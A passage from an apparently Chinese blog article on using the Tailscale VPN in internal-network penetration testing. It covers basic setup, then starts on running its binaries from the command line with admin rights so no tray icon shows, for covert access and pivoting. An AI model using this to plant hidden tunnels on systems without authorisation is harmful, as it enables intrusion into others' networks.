normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">安装完毕后使用命令<code style="text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">tailscale up</code>启动，之后会弹出一个地址，在浏览器中打开地址，输入账户进行登录：</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2831215970961887" title="null" data-type="png" data-w="551" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e0c6874d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbKShibUkZjWg6Yf1cWk9xDbRJ6UBS49VibuiacWGjkrGribl9VMcNzAPBDA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">登录完毕后可以在首页看到该设备，之后可以利用IP栏中的IP进行访问</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4312692138779095" title="null" data-type="png" data-w="2277" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=58a12343&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbBVW3tSFyeasQenbtFDzADhiarp7rFMbatGEmCzhDibiarLrpDV2XoKhMg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">利用windows测试Kali的连通性</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.39562443026435734" title="null" data-type="png" data-w="1097" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=db1064b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbuPWibR0DG2mlrD5oRg6k3McqnsXHCdqkh95nIuNORLHpyjwicAfcGsRg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">利用kali测试windows的连通性</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3569364161849711" title="null" data-type="png" data-w="692" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=5adbbb38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbbzB6hWibeytePlTD9cWVQoMnHarAdOld5gWf5xJcVOnw7pLQ1w1G5mA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">自此两台设备成功进行了组网。当拥有一台虚拟局域网中的主机时，默认可以<code style="text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">双向访问</code>虚拟局域网中的其他所有主机。</p><h1 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding: 0px 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">Tailscale内网渗透测试利用研究</h1><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">需要解决的问题</h2><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过上面的使用介绍，可以发现如果要在渗透测试中使用该程序会出现下面的三个问题：</p><ul style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin-left: 0px;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;">• 隐蔽性问题</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;">• 登录问题</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;">• 权限控制</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;">• 目标主机网段</p></li></ul><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">隐蔽性问题，就是在程序的启动过程中，会在右下角状态栏显示出图标，同时一个正常的登录是通过在图标中右键点击<code style="text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">log in</code>来进行登录。这在渗透过程中很难进行操作。另外就是当接入虚拟局域网后，其中的主机可以双向访问，而在渗透测试的过程中，我们仅希望能由安全测试人员，访问到目标主机，而不允许目标直接访问测试人员。最后还存在一个主机网段访问的问题，目前接入虚拟局域网的设备，仅能直接访问其中的设备，不能访问设备中所存在的上层网络。</p><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">功能介绍</h2><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">接下来先介绍一下Tailscale所提供的功能，Tailscale的所有功能都显示在官方的<span style="text-align: left;line-height: 1.75;color: rgb(87, 107, 149);">说明文档</span>中，接下来只介绍，能够解决上面问题的功能。</p><h3 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin: 2em 8px 0.75em 0px;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">隐蔽性问题的解决</h3><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">首先来关注隐蔽性的问题，通过观察安装目录，发现该程序仅由四个文件组成。Tailscale-ipn为主程序。如果了解过softether的使用，可以发现在其中是通过将核心的几个文件保存下来，之后利用命令行的方式进行启动。而规避了使用图形化进行操作。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.33645533141210376" title="null" data-type="png" data-w="1388" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=675e12de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbO4742WRdJ2Q5a1P2QxJTc0BrZW2H25oTRsWoetsXqoxyhlQdiaibW0yQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里发现存在一个tailscale.exe 的文件，而文件名是程序的本身的名字，猜测tailscale-ipn通过调用tailscale.exe来实现对应的功能。通过直接启动该程序发现，其中支持使用命令行进行操作。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.789261744966443" title="null" data-type="png" data-w="1490" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4701d211&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbUatg3RPTqfq2jianEajpsdNQOGWsfyLVJN6VnicVtuuibBVXV1Tw8xw4Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">当我们使用命令行进行启动后会提示相关的服务没启动。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.13027387120651368" title="null" data-type="png" data-w="1351" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=9e79646e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbBzzgxfl7vPRuqTiaU4icA0qQNGzwUeywABVbQpoQoFuz2RZ0huxwYzyg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过查看计算机中的服务发现，该服务是通过tailscaled.exe文件进行启动的。因为该程序后面没有接参数，我们也直接启动。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.7181069958847737" title="null" data-type="png" data-w="1458" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=cf3c118a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbkZ6zM7Pk95cVcVgEc3rR2ooMoJnzDnHopEZh0KhO0ZvrXzrXvRKyPQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">之后出现下面的错误提示，发现是权限问题，需要用管理员权限来启动</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.21184834123222748" title="null" data-type="png" data-w="2110" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=668375d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbsY98icVwULFmx7zjiajphMI0ssahRWT8gZN8PcCYPL5PpqgkMcjsMosg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">服务成功被启动。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5604952166572875" title="null" data-type="png" data-w="1777" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=2bd7d736&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbCZ4Y3byAK9eGQwJ76Kqr2pwaUA7SoGkpJibHiblnf2KHpqzr8AicLofqg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 